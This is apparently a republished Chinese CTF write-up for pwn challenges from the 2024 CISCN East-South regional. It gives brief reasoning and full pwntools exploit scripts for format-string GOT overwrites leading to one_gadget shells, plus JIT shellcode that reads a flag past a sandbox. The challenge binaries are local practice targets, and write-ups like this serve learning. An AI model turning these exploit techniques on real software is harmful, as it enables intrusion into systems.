招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组
printf-master-attachment
先是init初始化了一些参数
后gift函数给了2位的地址
在func中有一个fmt漏洞
思路就是利用fmt造成无限循环,因为没用开got表保护,可以篡改got表然后执行execve
fmt是非栈上的,就需要利用跳板篡改,还禁用了$,利用堆叠占位符就能解决。
在非栈上格式化,利用跳板肯定需要知道栈地址,所以第一步gift需要泄露栈地址
因为开了pie,现在手上没有其他地址,需要边泄露地址边劫持返回地址
这里存在三级跳板,P1用来修改地址到printf的返回地址,P2用来修改返回地址
printf返回地址篡改为start需要爆破1/16
start地址为0x11b0
爆破成功篡改返回地址为start
P1改栈为printf返回地址的栈指针,P2修改返回地址
然后会执行start后再次有fmt漏洞,但是之前篡改的时候可以泄露地址,就有了所有的基地址
就可以修改exit_got为start,造成无限循环利用fmt
修改exit_got也是利用跳板,但是需要地址为elf的跳板,这样修改低位就能直接指向got表
指向got表之后,下一个地址就可以修改got表中的地址
最后利用跳板修改stack_chk_fail_got为one_gadget,然后修改exit_got为stack_chk_fail_plt完成调用
exp
from pwn import *
from LibcSearcher import*
from ctypes import *
FILENAME='../pwn5'
libc=ELF('../libc-2.31.so')
context.arch='amd64'
def pwn():
p.sendline(b'1')
p.recvuntil(b'0x')
add=int(p.recv(4),16)
success('add '+hex(add))
p.recvuntil(b'name?')
p1='$17'#$18
p2='$45'
num=add-2*15-0x86-0x18
stat_lox=0x11B0
of=(0x10000-num)+stat_lox-0x1B3#aa98
success('of '+hex(of))
payload=f'%p'*(15)+f'%{num}c%hn'+'%p'*(45-17-1-1)+f'%{of}c%hn'
p.sendline(payload)
for i in range(7):
p.recvuntil(b'0x')
p.recvuntil(b'0x')
heap_add=int(p.recv(6*2),16)
heapbase=heap_add-0x3b0
p.recvuntil(b'0x')
p.recvuntil(b'0x')
stack_add=int(p.recv(6*2),16)
p.recvuntil(b'0x')
elf_add=int(p.recv(6*2),16)
elfbase=elf_add-0x6bd-0x1000
p.recvuntil(b'nil')
p.recvuntil(b'0x')
libc_add=int(p.recv(6*2),16)
libcbase=libc_add-libc.sym['__libc_start_main']-243
p.recvuntil(b'what',timeout=2)
return heapbase,stack_add,libcbase,add,elfbase
for i in range(16):
try:
p= process(FILENAME)
heapbase,stack_add,libcbase,add,elfbase=pwn()
success('libcbase '+hex(libcbase))
success('stack_add '+hex(stack_add))
success('heapbase '+hex(heapbase))
success('elfbase '+hex(elfbase))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[1]
success('execve '+hex(execve))
p0='$29'#17
p1='$58'#34
target=(elfbase+0x4020)&0xffff
target2=((elfbase+0x11B0)&0xffff)+(0x10000-target)
print(hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x142}c%hn'
payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn'
p.sendline(payload)
p.recvuntil(b'what',timeout=2)
system_add=libcbase+libc.sym['system']
p0='$29'#17
p1='$64'#3a
stack_chk_fail_got=elfbase+0x4030
target=(stack_chk_fail_got)&0xffff
target2=(execve)&0xffff
print("stack_chk_fail_got_1",hex(target2))
if(target2<target):target2=target2+(0x10000-target-361)
else: target2=target2-target-361
print("stack_chk_fail_got_1",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
p.recvuntil(b'what',timeout=2)
p0='$29'#17
p1='$64'#3a
target=(stack_chk_fail_got+2)&0xffff
target2=((execve>>(8*2)))&0xffff
print("stack_chk_fail_got_2",hex(target2))
if(target2<target):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("stack_chk_fail_got_2",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
p.recvuntil(b'what',timeout=2)
p0='$29'#17
p1='$64'#3a
target=(stack_chk_fail_got+4)&0xffff
target2=((execve>>(8*4)))&0xffff
print("stack_chk_fail_got_3",hex(target2))
if(target2<target):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("stack_chk_fail_got_3",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
p.recvuntil(b'what',timeout=2)
p0='$29'#17
p1='$64'#3a
target=(elfbase+0x4020)&0xffff
target2=(elfbase+0x1130)&0xffff
print("exit_got",hex(target2))
if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("exit_got",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
p.interactive()
except:
p.close()
baby_jit
开了一个禁用59(execve)的沙盒
程序就两个功能一个add一个exec
add函数,申请了chunk_s来存储输入的内容(0x30)没溢出,然后申请dest存储限制长度后的数据
exec函数中ptr+(n)都是指针位移用来汇编写入的正确性,*(ptr+n)直接赋值机器码用来功能的计算,在后面有一个call mmap空间,这个偏移是自己可控的,就偏移打到自己输入的数据中,控制数据执行正确的汇编即可,先执行read然后再读入flag
exp
from pwn import *
from LibcSearcher import*
from ctypes import *
FILENAME='../baby_jit'
p= process(FILENAME)
context.arch='amd64'
def Add(context):
p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(context)
def Exec(context):
p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'offset')
p.sendline(context)
sh='''
nop
push rax
pop rdi
push rdx
pop rsi
syscall
'''
calc_sh= str(u64(asm(sh).ljust(8,b'x00')))
Add(f'add {calc_sh}')
Exec(b'0.3')
sleep(1)
p.sendline(b'x90'*(0x20)+asm(shellcraft.cat('flag')))
p.interactive()
cJS0N
在del功能中存在fmt漏洞
在输入data name的时候控制字符串,并且是存在栈上的,直接利用fmt修改返回地址为one_gadget,然后退出触发
exp
from pwn import *
FILENAME='../json'
p= process(FILENAME)
libc=ELF('../libc.so.6')
context.arch='amd64'
def show(name):
p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'name')
p.sendline(name)
p.recvuntil(b'size')
p.sendline(b'20')
p.recvuntil(b'Json')
p.sendline(b'21')
show(b'%27$p%10$p')
p.recvuntil(b'0x')
libc_add=int(p.recv(6*2),16)
libcbase=libc_add-libc.sym['__libc_start_main']-243
success('libcbase '+hex(libcbase))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[1]
success('execve '+hex(execve))
p.recvuntil(b'0x')
stack_add=int(p.recv(6*2),16)
success('stack_add '+hex(stack_add))
stack_add+=0x8
f=execve&0xffff
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hn'
payload=payload.ljust(0x10,b'x00')
payload+=p64(stack_add)
show(payload)
f=(execve>>(2*8))&0xff
print(hex(f))
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hhn'
payload=payload.ljust(0x10,b'x00')
payload+=p64(stack_add+2)
show(payload)
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'name')
p.sendline(b'dw')
p.interactive()
ezwp
打开页面发现了phpinfo界面,尝试搜索ctf发现,在环境变量中找到flag。
从myphp.so中发现可以直接输出flag,但是需要密钥正确,密钥长度32,限制长度24,需要绕过
len为单字节,使用单字节溢出就可以绕过
原文始发于微信公众号(ChaMd5安全团队):2024CISCN 华东南分区赛(AWDP)PWN题全WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论